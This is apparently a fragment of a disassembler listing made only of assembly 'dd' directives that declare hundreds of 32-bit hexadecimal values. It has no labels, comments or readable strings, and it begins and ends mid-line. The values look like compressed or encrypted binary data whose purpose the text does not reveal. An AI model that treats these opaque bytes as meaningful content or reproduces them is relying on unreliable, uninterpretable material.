3A8701EDh dd 668D1088h, 0C3FEF08h, 0D9088F76h, 2018D062h, 2DA40243h dd 0FBDF202h, 30C9708h, 4055109Bh, 0FC407796h, 54889252h dd 4020C4FAh, 5F40D739h, 1045648Eh, 2760D1AAh, 0E6188C80h dd 9A5F08AEh, 0C8A55418h, 0B6A8A80Eh, 0E918C57Eh, 84C85170h dd 1834E310h, 0E2106168h, 9C60807Ch, 0A4E8FC26h, 0EF815F40h dd 0A74854E5h, 0FDC8F1C7h, 473B8045h, 2752C03h, 1B8913EBh dd 3DA7B90Eh, 440105D0h, 49408F00h, 0F775C90Bh, 0E3F7B08Bh dd 5B03DED0h, 338F21F0h, 0B10FE0C0h, 2C304F30h, 4BFCE9ACh dd 0FBC4B49Eh, 0D817CE2Eh, 125EE04h, 0FDC263AEh, 81187EE1h dd 6CB2CE2Fh, 0EED84053h, 0E0051BD6h, 69A00C48h, 0E2B5091Bh dd 0B5145F9Dh, 4F21E91Fh, 0F883EEE5h, 0B90D7C44h, 32B4031Fh dd 7FE1E288h, 0C5778006h, 67704460h, 28949F5Bh, 0B46BB9B0h dd 78AD010h, 163A31E5h, 4B9DD330h, 0F0005C79h, 10BD555Eh dd 0FC663B1Dh, 36D06B1Eh, 5A7359D4h, 0C2F4F3B4h, 772B6853h dd 0CCF155C6h, 3A5E9365h, 5A208F91h, 8FB6B22Bh, 14F273D3h dd 0CDFF3716h, 64886F26h, 4C2DFB2Ah, 9C16FE93h, 0CF7E4EA1h dd 86E64E91h, 13C9909h, 961A75h, 7FFFEB9Fh, 9A696190h dd 0D9EF2F10h, 0F5BA0429h, 0F3E10067h, 143E593Ch, 876F1751h dd 0B5C642A8h, 79C25C13h, 0E86DF568h, 0B7820ECBh, 394CABD9h dd 94097368h, 5621623Eh, 0B468465Dh, 0EBC44F55h, 0BC31AA50h dd 4F250BB2h, 0EC43A2F4h, 7D01B578h, 2A593863h, 80640B5h dd 5E14811Ch, 0E4CDAC3Ah, 10EAA2ABh, 3950FE6Fh, 0FA3718E8h dd 318A0C73h, 0E94A7406h, 84384Eh, 0C853D105h, 2EE22D1Dh dd 0B9B5BB4Bh, 11CA0707h, 0ADC25A1Eh, 0D56FFB08h, 9BF45562h dd 27417989h, 3F10F62Eh, 7F74AE6h, 0A4B850DEh, 0BFB3549Ah dd 0C5EF5A84h, 0B582AF5Ch, 5B70F401h, 7AFF36F1h, 69F8CB9Ch dd 0ABDB0ADAh, 0EB53580Ah, 14B9E08h, 0D31FDA68h, 3A2C2B05h dd 58D69751h, 65AAE9D0h, 5C3C76Ah, 0AB65D8F0h, 8099294h dd 7F0CCA5Ah, 402C7BC7h, 27FF1717h, 0BBD8846Ah, 0F3489CB1h dd 3F3D9CA0h, 310B9B31h, 2404BFC8h, 5DA5B706h, 485574A9h dd 1210F34Ch, 0EA09020Ah, 266882CCh, 0C224235Dh, 4F4626ABh dd 97275779h, 0C2AFDC3Dh, 7C5BDD15h, 2A6EE5A0h, 3412537Ah dd 0BED817FBh, 5F614238h, 9535F35Eh, 0C7B04248h, 0D509A5A1h dd 6809B8CFh, 0C498D59Dh, 0D32E954h, 5CC19745h, 7C601F02h dd 0AE8F44CFh, 8FEB8CE7h, 0ECE26EF7h, 1FCE4C4h, 0EDD047B5h dd 0C0FA98E4h, 113CC6C5h, 589D7CEBh, 684E0B6Ah, 86467EBCh dd 0DC77C000h, 3E1C15Fh, 1D22E681h, 81499743h, 4455B5C9h dd 487A202Dh, 5C12D4E8h, 5E1AC121h, 0F44F0BACh, 0C1C7249Fh dd 936326BBh, 55A4FADEh, 3446660Fh, 317EB84Dh, 0E24B7E91h dd 0D8E7FBAh, 137D21A5h, 0F00EF98h, 8E7AB9D3h, 0B2E024E9h dd 3F938328h, 42D317A6h, 0AFE614FEh, 61CA7718h, 736B5ECCh dd 0FC880A6h, 14AB3Eh, 0BD631BF1h, 498FE967h, 0A113B3F3h dd 56CEA4Ch, 0C8CC53B2h, 592593Ch, 0EDF8410Eh, 60536393h dd 5D4EEEEDh, 2048D4B3h, 0A0555102h, 0EF905670h, 22D02961h dd 9FE85BECh, 24F0E9E1h, 2D075E2Eh, 3F027405h, 9580F8F5h dd 48B847CDh, 0C805A244h, 0B07BBA33h, 0E0955297h, 66ACA75h dd 0A5E93B5Eh, 0F8974989h, 0A87015F3h, 0E1FF143h, 0F0481D03h dd 207CE910h, 1F0B4B24h, 9D474C07h, 0A010746Bh, 4FCC408h dd 9C31F373h, 1168F0C2h, 580AA966h, 6DF30902h, 80FD4CEBh dd 235A831Fh, 0EAD12625h, 74730DDFh, 79423AA7h, 57348BF3h dd 4C4BCDF9h, 0A3BF329Eh, 96D54F0Ah, 0B17E5F14h, 0E4167CB7h dd 0E28661BBh, 5D1C95C1h, 58C5C5C9h, 0A36B65F1h, 37ACD7FFh dd 43FBE88Ah, 25E236B7h, 638A8E40h, 0D8158227h, 0C4095C7Eh dd 6918F348h, 4F86711h, 58D274Ah, 439123Fh, 0EEAD9575h dd 40ECEE9Dh, 9EC29146h, 0FA7A4850h, 7AFB1128h, 6948B9B3h dd 0EB368600h, 3BDDE92Ah, 0D92FBDBAh, 81A5DE5Bh, 693D44C2h dd 0EC823E37h, 30DDE9E7h, 0DB328920h, 0A8F10D06h, 39507FFAh dd 48C600D3h, 7A414C35h, 0C1892C3Eh, 1AD1278Ch, 16B2D60h dd 51A05F7h, 838B1DA1h, 0D049F89Bh, 62B204DFh, 0D081C280h dd 302BF003h, 0AE4EECB5h, 0CE3348h, 5F233868h, 0B853EFD1h dd 59A9406Fh, 5A54DC95h, 87E9FF30h, 0C7D59554h, 712D2C0Fh dd 42D16572h, 38808D19h, 833B6CE0h, 91804ADAh, 2B4BD6F5h dd 0AF49B8FAh, 411A8434h, 0D2F75D00h, 495A4068h, 34B5030h dd 8734088h, 0A27E6190h, 5F0BD025h, 1110621h, 29806EB2h dd 586F2C5Ah, 2E68BA40h, 9D322808h, 0F627AD5Bh, 40955082h dd 0F03E7C6h, 0C3C533D1h, 8DD9A606h, 0C1FD825Ah, 0D551059Dh dd 0B378A84h, 62575664h, 0AC183FFBh, 2DB980F9h, 40E56F17h dd 7BC106FBh, 0EAE66821h, 44585195h, 27C0AF4Ah, 0B8E9E2D1h dd 8B58B9E2h, 945D07CEh, 485726A9h, 6145931h, 0F6AB3446h dd 9939EE14h, 65A96FDBh, 0E08F04D2h, 0A5A91332h, 0A5B7AC92h dd 1CB6C1AEh, 0A08BBD20h, 0F3664818h, 0AE164B84h, 0A4681720h dd 0E22DCB7Dh, 0C07E8C2Bh, 46C91E1Fh, 0C8078145h, 5C86306Bh dd 0DD140BE9h, 6506EB07h, 0D7B37534h, 813C5E23h, 0A815D65Dh dd 99346D24h, 0E0801A2Fh dd 7B1663ABh, 0D1413532h, 0BE70EB22h, 486EB235h, 0EA038456h dd 6B616F0h, 40870C16h, 0D2EEF2A4h, 0F873643Ch, 49602623h dd 0ECC82996h, 26730C2Eh, 90FC5232h, 0BE59A082h, 0F8FDE846h dd 0DD62B76Bh, 94F1EC55h, 1D132410h, 61544B08h, 4A9D7018h dd 3BD85581h, 2C79142h, 1EF72C7Ah, 26E066E2h, 0F91E295Bh dd 6489CF87h, 5A099936h, 0F70B7AA5h, 0E9850BC7h, 0B6D6172Bh dd 0C71430AAh, 2A68CAF3h, 81D42549h, 3BA64284h, 0F59B0004h dd 189DA039h, 0E56E0148h, 123B7E9Dh, 0C1CAB297h, 39416855h dd 538BA92Ch, 2FA6145Dh, 0DF545D5Bh, 8FAB59E5h, 8B414D1Fh dd 834DE3Bh, 1C28F7DBh, 0BC214120h, 0C35645EDh, 4A5061BEh dd 0CFF20D73h, 29A8525Bh, 4060632h, 0AB7917C0h, 0E9EAB009h dd 556DA4EEh, 0C5F837EBh, 3F87F18Eh, 6E213821h, 44BF1281h dd 45A6708Ch, 0D384FFDCh, 9DCA1AEFh, 0C4BA5975h, 79F21287h dd 0D265ABD0h, 0E092BB75h, 60B5E229h, 2D7CE875h, 0A8F07BD6h dd 0F739B092h, 69D4DDDh, 706606BEh, 0CF97010Ch, 0E3E9966Eh dd 1FC1381Ch, 26DE6A19h, 0AEEBC28Bh, 0A4C5C925h, 0DAFE5140h dd 84B14FC9h, 0DAEFB22Fh, 0C9976118h, 2F8557CAh, 5F0809E9h dd 4DC25F5Ch, 18C64885h, 6AB0009h, 76F0D40h, 409F72D7h dd 9F79645h, 34BDE9D6h, 0FE032FFAh, 0D1733A11h, 0EAB0FCE3h dd 8BDB04FFh, 0BED80119h, 0EC4E9F9Bh, 0EDD2B47Bh, 2FED789Ah dd 0FFCC585Dh, 0C89D7FA4h, 0C0A263CFh, 479FEFEDh, 0E09071C4h dd 840BCC03h, 40DF0151h, 30E9081Ch, 0BA3224ECh, 5A27688Fh dd 9B247C20h, 4C0262CAh, 2D1FBDCEh, 9213401Eh, 57522725h dd 3F7D7FFAh, 6154652Fh, 0B06B29F2h, 5C013EEEh, 0E94859BAh dd 8D7AE4B1h, 0E8A1E713h, 1A682B1Fh, 5F5643BDh, 5083B3BCh dd 16C117B4h, 801087CEh, 0D1F627F1h, 4CB2E0Ah, 2CC80ECBh dd 2D3E6C93h, 99B4FB4Ah, 0E4D716F8h, 4F70FCEAh, 5F016EF0h dd 0B014E8FBh, 585BD831h, 64582568h, 4FD52CAh, 879D35E8h dd 0D040ABE6h, 5D62C768h, 0D298DC73h, 670AEE69h, 0D59D0E8Dh dd 0BA819486h, 0D184D0F6h, 5AA7CC2Eh, 54B06812h, 3B1569FEh dd 6E1F6161h, 7AA0A67Bh, 1086A12h, 0DE1DCEAh, 0A1FCAC58h dd 5DFEEB83h, 0A4831A14h, 9345548h, 7301265Eh, 0B8FC0B68h dd 7ABA57h, 2B3044BAh, 6850007Eh, 20C7752Fh, 0D072F758h dd 0F80D85Eh, 27DF8035h, 0E1608D1Ch, 72CCF329h, 4B31C32Ch dd 10D0F9F5h, 680A5FC6h, 6F8C1DB2h, 0D04613A4h, 75600F7Fh dd 55680A0Bh, 842F3304h, 0FF0B61B2h, 7F054F4Eh, 0B8E34005h dd 67186B57h, 11BA5202h, 5E63BB60h, 1C0124F2h, 4235C4DEh dd 0BCC7C669h, 282570A1h, 814A01D4h, 0C7120FF2h, 3A8C027Ah dd 0BFE9AE17h, 8CE2CD05h, 8570A030h, 148509C6h, 140C3A4Eh dd 622D68ABh, 3149E62Bh, 0C71BB160h, 0A0373F01h, 31D04008h dd 44BB5818h, 10E03317h, 0DD7755C0h, 5E6DCB2Eh, 6809DCB6h dd 51E47DF2h, 786372A0h, 44B812D2h, 0F468C4h, 7B25E181h dd 0F8437669h, 6C193A10h, 0BC88916h, 9ACE0D75h, 0B58383h dd 8666B18Fh, 0E92E4274h, 29980A65h, 0C5276D38h, 0BE41438Fh dd 3C6AA2D9h, 62DE986h, 0B7F1D289h, 7A9A6642h, 85388FFFh dd 5AEFF671h, 0B1400482h, 0C250276Bh, 0F02CD84h, 4D33625Ch dd 0C6124045h, 17EFF16h, 0A36F3A1h, 12E92C7Ah, 56C08BE9h dd 623268h, 815B7410h, 27580DCBh, 0F3015776h, 77377A3Bh dd 6A60DD89h, 3BB9B9F4h, 5F7C0B20h, 0CDA8828h, 6BF6D724h dd 0ACF25067h, 5FA055BEh, 8AE03F4h, 0CAF18726h, 1AF0935h dd 690604AAh, 0C00C826Ch, 60809AE7h, 6318CFh, 0F6253AB0h dd 51EB333h, 0EA2A6F0Fh, 2F7C4228h, 0F83D6039h, 0D07782ADh dd 0F2513085h, 5BD90910h, 0D641ABA1h, 0D1686600h, 962F9D5Ah dd 7C32F9B7h, 173C913Ch, 0DE0C5D3Bh, 79550F95h, 0F6E89D5Eh dd 59BF1851h, 0C626423Ah, 34ACC655h, 801021BBh, 1D032D16h dd 9D4EC27h, 570BFF6Eh, 12479B77h, 0AEE515C2h, 2F972E2Dh dd 0C2F96455h, 0CB74067Ah, 0F4EF5BC4h, 5B955897h, 7E15BF3Fh dd 0EA3E9136h, 136ADDEh, 34BF0B9Dh, 163F56E9h, 82B6041Bh dd 0EB30ABD8h, 0BFB23B3Fh, 2039B2E1h, 0C19D561Ch, 3F74D37Fh dd 38781E95h, 31C8B7Bh, 79426990h, 0DC18F42Dh, 0BD626D2h dd 9C5D53BDh, 0A84C95BFh, 93639404h, 7F0013Bh, 830D90F1h dd 0D2B0B70Bh, 2F156433h, 8FD6348Bh, 1C6557DAh, 5F8A628Bh dd 1434E5B0h, 64AED8D3h, 52BA01FBh, 72557D68h, 97A90093h dd 0FAE9AA82h, 0F034D618h, 0DA51F7FDh, 93112003h, 0A4B0727Dh dd 0E9066C93h, 0FB7DE0A9h, 0A80F70DCh, 12BEAA1h, 360D5851h dd 0FD14B32Ch, 0E94E3AE7h, 1B9E4CBh, 7009DA91h, 0C0622D33h dd 6CFDD380h, 942D0478h, 8013474Eh, 442AEABEh, 1526D698h dd 0BE40E196h, 0F6B3DCC4h, 98C74F55h, 0DE25680Eh, 5A854632h dd 8497F455h, 0EAC5B7D6h, 90320506h, 182E3137h, 5559627h dd 5681AABDh, 7F5F5768h, 665E0A3Ch, 514EFA50h, 7612B22Ah dd 5BF38839h, 43D0981h, 0E61D512Ch, 79159968h, 54DD34FDh dd 0B5334CBFh, 40B32E14h, 2B0BD95h, 0D210F3BAh, 0F88AC335h dd 4219362h, 0C90D3E2Dh, 5A88268h, 5CDA078Bh, 0C16FAB33h dd 3D3FD959h, 0EC0D8F8Ch, 0B806B60Ah, 0C6FED6F6h, 16807408h dd 4023E9FAh, 560D2D13h, 1245110h, 0D3023DF8h, 4068D477h dd 2C63793Bh, 28216AF4h, 4B76148Bh, 0FC20C543h, 6DC26800h dd 815E3DFBh, 726001E6h, 0EEC17614h, 77F64007h, 5A00880Dh dd 0BD5E5856h, 58EC2337h, 0C130DFD2h, 0EE80ADA3h, 0CEFE8A1Bh dd 6BE5F1A4h, 0CA24E076h, 0B65A125Ch, 9EE14A00h, 0B972D87Eh dd 85A5355Ah, 0AD0383DFh, 9B10AFF7h, 3034D2Bh, 0D8D431F1h dd 0A79E994h, 66097672h, 12D7E305h, 0FC0809C2h, 81BCA59h dd 7E278751h, 7468507Bh, 80A7585Dh, 5DD93EE6h, 0B969850h dd 0B6706D7h, 8F2C707Eh, 48052D3Ch, 3D0335EBh, 0FA5D4F2Ch dd 70628D4Fh, 6744A731h, 0ACBE3256h, 0BF904156h, 131485CEh dd 5C5159Fh, 577B6AD7h, 2B7004FAh, 0EBF3EFF4h, 0F892D3Ah dd 5012084h, 5211A668h, 0A750ED98h, 0EAC65995h, 89E39DA5h dd 18724C3Fh, 9D251A30h, 1591D0Dh, 0F005656Ch, 306D1947h dd 443EEB0Fh, 2F615CA1h, 2F1F7059h, 0E47CE831h, 0BB571658h dd 293804F1h, 205C0701h, 1A475709h, 0D37DADBCh, 5CC502F1h dd 21607726h, 57827E76h, 0A0830562h, 11E238B9h, 7B0C078h dd 84A5509h, 982AF814h, 0C0D43455h, 8021FA5Fh, 0C525D779h dd 417A63Bh, 1A41ACEh, 586009F1h, 37E75AE8h, 0BC54A5DEh dd 5EE6B4ECh, 0D0791916h, 0B755281h, 7AC5Ch, 132002E2h dd 81B4B5E9h, 34C52E5Dh, 4AF64081h, 7C525901h, 0A55076Ah dd 45E5669Bh, 5EFC9D52h, 9462E2E5h, 0C35F2905h, 43A85496h dd 82B7DE20h, 4A9FE6DCh, 0F5BB4251h, 1A497866h, 0BBBE00AEh dd 8170742Fh, 1C5709F6h, 13C014DEh, 0EA2D2EA9h, 404FD42Ch dd 187648Ah, 4B96F80h, 0DA89F0BEh, 0D790FF5Bh, 2D151AF2h dd 2B74D02Bh, 0D44D4909h, 29687A18h, 0F9023051h, 0E94D5D3Dh dd 7045E71h, 3338EC80h, 0E6820EF4h, 38FECFC3h, 449ABA00h dd 0BD550971h, 0D7370058h, 64CD812Bh, 2F504763h, 442C0F93h dd 0B208B6AFh, 1F68055Bh, 0C103BC33h, 66B7727h, 5455C2F7h dd 289CADEh, 331336A8h dd 0BAA43BE1h, 4607960Dh, 57F19E27h, 45601E58h, 23215F6Dh dd 0BCC953A7h, 5862315h, 0CE8899B1h, 63A90D81h, 0F1AA306Ah dd 0D7B40112h, 219718BCh, 1DFAEB65h, 8153F569h, 1A2FF8CBh dd 601601Dh, 0C0841004h, 0DDE125E9h, 0C8F7047Eh, 1A2BE36Fh dd 565C1B22h, 0EF66CCD1h, 5C2902BFh, 48AD5952h, 37234083h dd 810E7ACDh, 0B810AFE1h, 107DE90Ch, 7553C39h, 250BD6A2h dd 252926B3h, 4AF4D845h, 1932BE02h, 0E30E0B10h, 49936862h dd 80694FF4h, 817226F4h, 637C0CEEh, 0E0C4A66h, 54797F05h dd 9EADE94Eh, 0A770A94Ah, 8DCA8CA4h, 17EF680Ch, 0D9DBA21h dd 1F408B01h, 0C05F4505h, 1894F532h, 0CC02BF8h, 8DC5035h dd 0F9EF4F01h, 0DD778A43h, 0FE94D96h, 0C03BCC85h, 0E9CD319Ch dd 2B0CA5Dh, 2E2F75BEh, 3BE1F038h, 944B7A69h, 334AF4A7h dd 9280D238h, 6585F101h, 459FFFh, 6851575Bh, 4BCB5AE4h dd 4C15F61Dh, 0A81D78D9h, 0AAACD16Ah, 91A6FB05h, 278CFA04h dd 74C3F5BCh, 0F603DD68h, 49354DC2h, 5013C971h, 258D058h dd 0E95C1761h, 0ACA230D6h, 0AF536AFEh, 41196842h, 80B8493Bh dd 79BA1A0Dh, 8AB3E39Ch, 226B56B7h, 74EBF6A0h, 0C02206C1h dd 0C3E406E3h, 51660E8Fh, 0A117F2B5h, 4DE10268h, 8A17BE44h dd 46138590h, 0E46C1AAh, 43657E95h, 0FBD261A6h, 873F478Dh dd 8DC9246Eh, 74C6E132h, 0BD09BEDCh, 226581Bh, 559B2E45h dd 6B980EC6h, 0D7F93341h, 0DD2F6D22h, 1F02DCD6h, 423AAD76h dd 8E90826h, 0F0BEE909h, 9D9398C9h, 5D5E944Eh, 680976CBh dd 0D21B188Ch, 112885C3h, 0A170AD54h, 0EC565697h, 5F29683Ch dd 0B29FFD15h, 11105A26h, 23DA0D00h, 0DD2D5056h, 2A8B0317h dd 5E3E64F0h, 0A9F3B3h, 0D001C780h, 766866EFh, 5386E9F3h dd 4E207EE9h, 552D7190h, 0EC1C5E21h, 1827E9B5h, 73065C45h dd 79D161F1h, 19A10B50h, 0DDA0045Ah, 1D898BBAh, 99C06EC5h dd 5DE889CFh, 0D336C148h, 30319D4Bh, 0D713EB92h, 0ABF430h dd 77A80549h, 0D0454B1h, 6A827DA7h, 9204D4C1h, 4EC20004h dd 0F707513Bh, 0C0A0DD4Ah, 0B4B9DE9h, 0AF5EB49Fh, 0A3FBB3C4h dd 40E985FAh, 0C101E490h, 0F2BF0557h, 8526E277h, 0BE1A94D8h dd 8A0C349Eh, 1DE1012Fh, 4CB97009h, 0D482FD5Ah, 4CDD05F7h dd 0E529A085h, 6A2F1762h, 14988429h, 6F846308h, 8457F2FAh dd 0BF12BEA4h, 0F1EA0064h, 73ED3E90h, 57BE92A4h, 0C7DFEBA9h dd 48B9A902h, 7C7D10EFh, 0ACC75Fh, 29165839h, 3149064Fh dd 8641E4D2h, 0C49077E2h, 262F685Dh, 7286765Fh, 1E73607Dh dd 4510CC8Eh, 739F7EF2h, 10FB1A65h, 80823A55h, 0F4373018h dd 12D6A048h, 280A0B43h, 0E18BD7F7h, 6C75E7C2h, 2A722078h dd 8CCC5C5Fh, 50CEFA56h, 5F29DD0Ah, 0C176B2CFh, 9637E9FAh dd 48390A69h, 2E35D881h, 3F3ED905h, 0B76AB9C1h, 3BB3E57Bh dd 82E444F9h, 550901B4h, 1E2F3E82h, 7DC21E48h, 51D7E212h dd 0FF4E24FFh, 2BDACFC4h, 957F1D58h, 7D5CA332h, 5ED922AFh dd 20906CA0h, 0BB006E70h, 12783E93h, 0B05BDE29h, 7629D6Dh dd 0F69CA1FEh, 40AF54C4h, 0DE75C0EBh, 5C1EA539h, 0C00908BBh dd 64A2F77Eh, 0B900B53Fh, 5CA3180Ch, 3A063D63h, 0C515A24h dd 21446212h, 0EE9B12AEh, 0B4E06689h, 0D8B6A9ABh, 8262A6FCh dd 0D3024E5Eh, 8937952Dh, 9554709Ah, 846FDB74h, 299774ACh dd 7FA49E65h, 5F750FF1h, 0F642C11h, 3ED8EE68h, 3F728419h dd 8920B081h, 0BEF8F2F6h, 1DBF0139h, 0E305993Eh, 4C2F19A8h dd 0E9E3D106h, 0B7227A0Bh, 7123A0C0h, 89E85E5Ah, 21034648h dd 31149928h, 0E6D15DC8h, 0EDF0E917h, 6312C9A9h, 576888AAh dd 1E226805h, 0ADA26E16h, 92F7879Dh, 0E929A12Ah, 301E6801h dd 11BA7A50h, 4B147C5Ch, 0FF4CC515h, 69F8CADDh, 0C4F99FEBh dd 0F5D45247h, 7C835FE0h, 0C2EF9CEDh, 0B5081892h, 0B02ECC28h dd 52897256h, 0C0BFFE54h, 0D83FF9B8h, 20464D48h, 0EE8012B1h dd 0DE86ACDFh, 0A91F64Eh, 7E4F1FF4h, 50E99003h, 0C03801F5h dd 0A92C03E0h, 61456134h, 0E55E30F9h, 30E706C0h, 722C5BFEh dd 0B8CD4EEFh, 0E0E574F9h, 484ADCE9h, 18535898h, 0D50F1E68h dd 928310A6h, 0A70F51EEh, 0E9E73E51h, 2F85D4A9h, 0A9F20D5Ah dd 0AA88954Fh, 55651797h, 0D941FA1Ch, 5FD70F08h, 1F4C9F74h dd 3DD468C9h, 2F80D054h, 15DE56F2h, 2C7B3C88h, 29D56B21h dd 4B16D505h, 0B7E2EB0h, 8E8D1E9Dh, 9C8D24E0h, 0AB5E93A2h dd 0D38274D4h, 28F9F20Ch, 3806DCD6h, 0FE4A3428h, 52C2C967h dd 0BEB3712Ch, 93E4F75Ah, 0A6FD991h, 3027EE14h, 0C86B6A03h dd 544AE9D1h, 73E4894Fh, 30E8C6BDh, 883962E5h, 28E23BECh dd 66259659h, 0C25BDE5Ah, 6801E765h, 0F3884270h, 79275D71h dd 4FC94F9Fh, 7FBE42C1h, 0B8E1DC24h, 77D955F5h, 9E10B84Eh dd 0F8532518h, 567C6F76h, 1806A186h, 42275E76h, 21D14826h dd 1A3C2E53h, 90131319h, 22D1FD04h, 4B87C55Ch, 0A5273DBFh dd 1B1EFD0Ch, 58201998h, 0BD54E40Eh, 0B3AC8873h, 165AEB70h dd 6406802Ch, 0EC7ED4EEh, 5635F28Eh, 0AF8B1ED9h, 2B70205Ch dd 8835BE8Ah, 0DE2F6F3Eh, 52FC09D4h, 0AA3F7D51h, 0BE079FE6h dd 47FD061Eh, 9CFCF1A5h, 0EFE38913h, 0F2969179h, 0E86C53E6h dd 0EEE2A73Ah, 9661C8E2h, 0AC754F17h, 5602311Dh, 47D1445Dh dd 9BC23007h, 0E130E9D6h, 61ED6D5Ch, 553F0951h, 4E01F501h dd 80BB03B0h, 4E08EA1Ch, 55E9469Ch, 0D641EE84h, 0FF05A773h dd 0B41C8B8Eh, 491271Eh, 3B2165D3h, 0E913788Fh, 2C0945C5h dd 0ECB88EBh, 26684940h, 0CFE8239Ch, 0CC3225C5h, 81004F8Dh dd 0E29CB5EFh, 0B7FD8933h, 2E5FED99h, 0BBC06CECh, 5DE31A77h dd 81DBF700h, 0C8C7EF3h, 7DE925BEh, 3E5513E1h, 0E4A650EDh dd 0D5D20F30h, 301A71F1h, 14E0037Eh, 209FE10h, 0D3B459E9h dd 38ADBD88h, 5FFEC3C8h, 2D5A65B5h, 0E9C2F9F4h, 565A7406h dd 0BA5F12A2h, 0E7CD8551h, 0DB68C461h, 0C9F20E04h, 0A480D00Bh dd 5B508BC2h, 0D4F85A51h, 0BA122B51h, 0CEEAD101h, 798F3518h dd 0E12B23C9h, 4BE8621Ch, 38B81F9h, 3BF48DC2h, 0C1538496h dd 0DDE810Fh, 596E40BBh, 0AFB616h, 2C7991BFh, 3AFB713Ch dd 36C7230Bh, 2F67F50Eh, 0C12157A6h, 23A434E9h, 51A44B06h dd 0FD251E30h, 510B223Eh, 50F9477h, 51B55DDFh, 48744E80h dd 0EE81467Eh, 10D7062h, 7A32FDF1h, 68CF9977h, 0B72E5FF5h dd 0DFE9099Ch, 0CF095937h, 8A92EC9h, 76E41075h, 215F8174h dd 6131CD59h, 13907C6Ah, 31BF6C79h, 0A0D5FD64h, 72FBA10h dd 8D971134h, 105998A6h, 5256006Dh, 98329668h, 0C65A5042h dd 4129389Bh, 0D32099DCh, 25516812h, 0C904D2B3h, 0EB6D8D42h dd 48C7D10h, 65228F68h, 5A56BBh, 45C82F38h, 0FCB1C9E9h dd 180FBD28h, 8B436253h, 4E5458ECh, 5A5EA359h, 0FEF5E0BCh dd 0E8051685h, 0C8BEEED3h, 0D7265111h, 0FEAFE96Ah, 3576D293h dd 35539DE0h, 8818477h, 7C27D95Fh, 0B652096Bh, 893E078Eh dd 287BC630h, 345A2CF0h, 1B15048Bh, 0EEBDA401h, 82033E5Dh dd 0F4397368h, 3B2D62C7h, 92657FD6h, 5D31C349h, 0FBFC60CCh dd 0DA15213h, 7DC01901h, 0C9F03668h, 62200274h, 0FA29E96Dh dd 0CF004E52h, 190926E7h, 0FE08EFC1h, 88F05AA8h, 0F80329E6h dd 5F529A05h, 82EF954Fh, 5E011E23h, 6320B850h, 0D090012h dd 30D071FEh, 60CE8C1h dd 28CFDDE9h, 972DE5Bh, 57E8EE82h, 6C5E27AFh, 82DE6BCh dd 2013DD7Ah, 2204723Dh, 13F8E02Ch, 56355FC4h, 12C56308h dd 598AF5Dh, 50A8592Bh, 169AC0Ch, 560EBD6h, 47349FA8h dd 4E9EDE02h, 0F7070E0Dh, 400BF754h, 80E91F93h, 0BD0E1296h dd 8A3C466h, 4E547CFCh, 22C85E21h, 0CD6BAE08h, 3EE2D9A9h dd 0E7D62EADh, 11B24ED5h, 3A4EC1C0h, 985A6876h, 85D8A44h dd 0EE225A0Ah, 3650D869h, 0ED00C290h, 27E55A4Bh, 9777F2E9h dd 7909EE7Bh, 0E2347637h, 0EEC8115Ch, 0C0123E58h, 0F2ED0129h dd 0AA55907Fh, 18145DFFh, 7EE95409h, 69CC5EC3h, 4CCA8210h dd 5A49637Bh, 54E98246h, 11036869h, 25DFC51Eh, 0A2BF34Dh dd 0BE1A425Bh, 48C4DB39h, 0EF4AA6E8h, 18830829h, 43357708h dd 0EA50B878h, 0E9275E08h, 68F7406Bh, 6A3E3D0Fh, 1763BCCAh dd 0CFE963C8h, 0E00C8504h, 0E282E45Ah, 265F2A40h, 8028CF29h dd 9DD635DBh, 0AF93FE89h, 2B01FA4h, 901522E9h, 485870E2h dd 0B9FDEEBh, 1418F0ABh, 2216B52Dh, 0F9B1C80Fh, 17D6FD60h dd 0EB5E3651h, 55689220h, 9380946Ah, 0DCE14906h, 0C45A82DFh dd 0C868C2A2h, 78DE3186h, 0EE1B2F5Bh, 0F368725Eh, 99387D27h dd 194EA4E9h, 2CD96A42h, 0FFBBC25Ah, 522DAA60h, 0C5862E97h dd 81004AC6h, 0F40B0C9h, 4149262Bh, 679A0B2Ah, 9222FC56h dd 65184AE6h, 9D5603D8h, 133E260Dh, 0C15F0B16h, 0D060238Fh dd 88102D40h, 0D6395028h, 85061B13h, 0E6C2070Ah, 65BD0820h dd 4D58AA03h, 0E64FA76Ch, 12259615h, 10138BAEh, 0C0488BABh dd 3CF4F620h, 8C773A5Fh, 44FA6B2h, 9093AB51h, 66F2C874h dd 5BDA0035h, 6C0D121Ah, 2C038F02h, 7440A805h, 6D13FF62h dd 9F2DA8B3h, 0BDD0273Ah, 0E56EC042h, 0E8CAAEBDh, 6BA0E09h dd 2DC0E2AEh, 25310E70h, 0A9A4295h, 0F5425007h, 2AF39BC2h dd 0B0F45BB7h, 1FE309B0h, 5B567A3Fh, 38CB8100h, 986BFE53h dd 0BF9D09A8h, 8D843507h, 0AD07CDFBh, 0A8C6C55Eh, 0A94A2018h dd 76EBA00h, 0D631221Ah, 0BC40955Ah, 2B0D901h, 0B6F32624h dd 5D3BFE8Bh, 0B29C3714h, 6A36BF07h, 75297862h, 7BCD3979h dd 0E9F2807Fh, 0C697A905h, 7459BD75h, 68E123C8h, 322B0B7Dh dd 6EEA4A13h, 4A6C5175h, 0EAF02D09h, 306BB40Eh, 84EAD2E6h dd 11DAC241h, 0B3ED0D61h, 0E548502Dh, 28359D04h, 41AC53F0h dd 8E052BF8h, 13BEEA83h, 0A1D6B891h, 0B900DFC9h, 0ED252762h dd 0A4C208E5h, 16F5280Eh, 4F048AAEh, 8589FCEDh, 0ED83B9C0h dd 0EA31011Ch, 0C517D59Fh, 84E31522h, 4081B5B8h, 0F20473Dh dd 98142695h, 51E200E8h, 0E93B4533h, 3F2E782Eh, 0F35EF589h dd 0A1D81293h, 0D8E72D59h, 70EA6895h, 757E9F13h, 0BD3E5759h dd 0E82812A9h, 0DAD49A5h, 53029C90h, 67E0E917h, 939129BBh dd 0A9164B32h, 0A3BF0EABh, 0AF85937Dh, 1077AE5Dh, 7E6E68B1h dd 0B685C63Ch, 29D8FA33h, 0C6082702h, 0E9124FC4h, 165297BEh dd 74B30717h, 0F0656100h, 0EAD6E969h, 50021BAh, 816F251Fh dd 253D2DF3h, 4ADE7BB9h, 0B1EF7689h, 0A67B1423h, 165D48ABh dd 0C861011Ch, 652F50F4h, 508AAF40h, 0AA525518h, 88AC28Ch dd 0BA807393h, 1FF854EBh, 1B0E07BFh, 39310FD7h, 76E20CDEh dd 124EF16Ch, 10C0BA5Dh, 0B0B4033Eh, 0ABC20B7h, 9028F24h dd 8EEFDE12h, 0F7BD5EAEh, 0FCF4E9C2h, 0CDE229C8h, 7E957713h dd 0F7CC7CFCh, 